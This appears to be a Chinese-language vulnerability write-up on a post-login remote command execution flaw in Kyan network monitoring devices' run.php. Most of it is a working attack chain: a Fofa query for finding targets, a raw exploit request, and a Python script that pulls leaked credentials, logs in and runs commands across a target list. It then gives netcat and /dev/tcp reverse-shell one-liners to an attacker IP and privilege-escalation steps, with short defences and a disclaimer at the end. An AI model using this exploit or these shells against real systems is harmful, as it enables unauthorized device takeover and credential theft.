Kyan网络监控 run.php 远程命令执行
字数 824
更新时间 2025-08-14 03:16:49

Kyan网络监控设备run.php远程命令执行漏洞分析与利用

漏洞概述

Kyan网络监控设备存在一个严重的远程命令执行漏洞,攻击者可以通过run.php文件在登录后执行任意系统命令。该漏洞属于高危漏洞,可导致攻击者完全控制目标设备。

影响版本

  • Kyan网络监控设备(具体版本未明确,但基于发布时间推测为2021年及之前的版本)

漏洞原理

漏洞位于run.php文件中,关键代码如下:

<?php @$output = system(trim($_POST['command']));

该代码直接接收用户通过POST请求提交的command参数,未经任何过滤或验证就传递给system()函数执行,导致任意命令执行漏洞。

漏洞发现

指纹识别

可通过以下Fofa搜索语法识别潜在目标:

title="platform - Login" && country="CN"

前置条件

利用此漏洞前,需要先获取有效的登录凭证。可通过以下方式之一:

  1. 利用Kyan网络监控设备的敏感信息泄露漏洞获取账号密码
  2. 通过其他方式获取有效凭证

漏洞利用

手动利用

  1. 首先登录系统获取有效的PHPSESSID
  2. 构造以下HTTP请求:
POST /run.php HTTP/1.1
Host: [目标IP]
Cookie: PHPSESSID=9ectb9cf83pfb5m77q4is3u513; [其他cookie]
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
[其他头部信息]

command=id&textarea=apache

自动化利用脚本

提供Python自动化利用脚本:

#!/usr/bin/env python
# -*- conding:utf-8 -*-

import argparse
import requests
import sys
import urllib3
urllib3.disable_warnings()
import re
from bs4 import BeautifulSoup

def title():
    print("""
    Kyan网络监控 run.php 远程命令执行
    use: python3 KyanrunphpRCE.py
    Author: Henry4E36
    """)

class information(object):
    def __init__(self,args):
        self.args = args
        self.url = args.url
        self.file = args.file

    def target_url(self):
        target_url = self.url + "/hosts"
        login_url = self.url + "/login.php"
        rce_url = self.url + "/run.php"
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        try:
            res = requests.get(url=target_url, headers=headers, verify=False, timeout=5)
            if "UserName" in res.text and res.status_code == 200:
                print(f"\033[31m[{chr(8730)}] 目标系统: {self.url} 存在敏感信息泄漏!")
                print(f"[-] 账号密码为: \n{res.text}")
                pattern1 = re.compile(r"UserName=(.*)")
                pattern2 = re.compile(r"Password=(.*)")
                Username = pattern1.findall(res.text)[0]
                Password = pattern2.findall(res.text)[0]
                try:
                    data = f"""user={Username}&passwd={Password}"""
                    s = requests.Session()
                    res1 = s.post(url=login_url,headers=headers,data=data,verify=False,timeout=5)
                    if res1.status_code == 200 and "设备管理系统" in res1.text:
                        try:
                            res2 = s.get(url=rce_url,headers=headers,verify=False,timeout=5)
                            if res2.status_code == 200 and "Shell Execute" in res2.text:
                                try:
                                    command = """command=id"""
                                    res3 = s.post(url=rce_url,headers=headers,data=command,verify=False,timeout=5)
                                    if res3.status_code == 200 and "uid" in res3.text:
                                        soup = BeautifulSoup(res3.text,"lxml")
                                        result = soup.find_all("textarea",attrs={"name": "textarea"})[0].string.strip()
                                        print(f"\033[31m[{chr(8730)}] 目标系统: {self.url} 存在远程命令执行!")
                                        print(f"\033[31m[{chr(8730)}] 执行\"id\"结果为:{result}\033[0m")
                                except Exception as e:
                                    print(f"[\033[31mx]\033[0m 目标系统: {self.url} 尝试命令执行错误!")
                        except Exception as e:
                            print(f"[\033[31mx]\033[0m 目标系统: {self.url} 尝试访问run.php失败!")
                except Exception as e:
                    print(f"[\033[31mx]\033[0m 目标系统: {self.url} 尝试登录错误!")
        except Exception as e:
            print("[\033[31mx\033[0m] 站点连接错误!")

if __name__ == "__main__":
    title()
    parser = argparse.ArgumentParser(description="Kyan网络监控 run.php 远程命令执行")
    parser.add_argument("-u", "--url", type=str, metavar="url", help="Target url eg:\"http://127.0.0.1\"")
    parser.add_argument("-f", "--file", metavar="file", help="Targets in file eg:\"ip.txt\"")
    args = parser.parse_args()
    if len(sys.argv) != 3:
        print("[-] 参数错误!\neg1:>>>python3 KyanrunphpRCE.py -u http://127.0.0.1\neg2:>>>python3 KyanrunphpRCE.py -f ip.txt")
    elif args.url:
        information(args).target_url()
    elif args.file:
        information(args).file_url()

攻击进阶

获取交互式Shell

  1. 正向Shell监听

    # 攻击机监听
    nc -lvvp [port]
    
    # 靶机连接
    nc -e /bin/bash [攻击机IP] [port]
    
  2. 反向Shell监听

    # 攻击机监听
    nc -lvvp [port]
    
    # 靶机连接
    bash -i >& /dev/tcp/[攻击机IP]/[port] 0>&1
    
  3. 使用Bash版反向Shell

    bash -i >& /dev/tcp/[攻击机IP]/[port] 0>&1
    

权限提升

  1. 查看当前用户权限:

    id
    sudo -l
    
  2. 尝试切换到root用户:

    sudo su -
    

    注意:

    • sudo su -:用户和环境都切换到root
    • sudo su:仅用户切换到root,环境仍是普通用户环境
  3. 查看内核版本寻找本地提权漏洞:

    uname -a
    cat /etc/issue
    

防御措施

  1. 临时解决方案

    • 删除或重命名run.php文件
    • 限制run.php的访问权限
  2. 长期解决方案

    • 更新到最新版本
    • 对用户输入进行严格过滤和验证
    • 使用白名单机制限制可执行的命令
    • 最小权限原则运行Web服务
  3. 监控与检测

    • 监控run.php的访问日志
    • 部署WAF规则拦截可疑请求

法律声明

本技术文档仅用于安全研究和教育目的。未经授权对他人系统进行测试或攻击是违法行为。使用者需自行承担因滥用此信息而导致的法律责任。

相似文章
相似文章
 全屏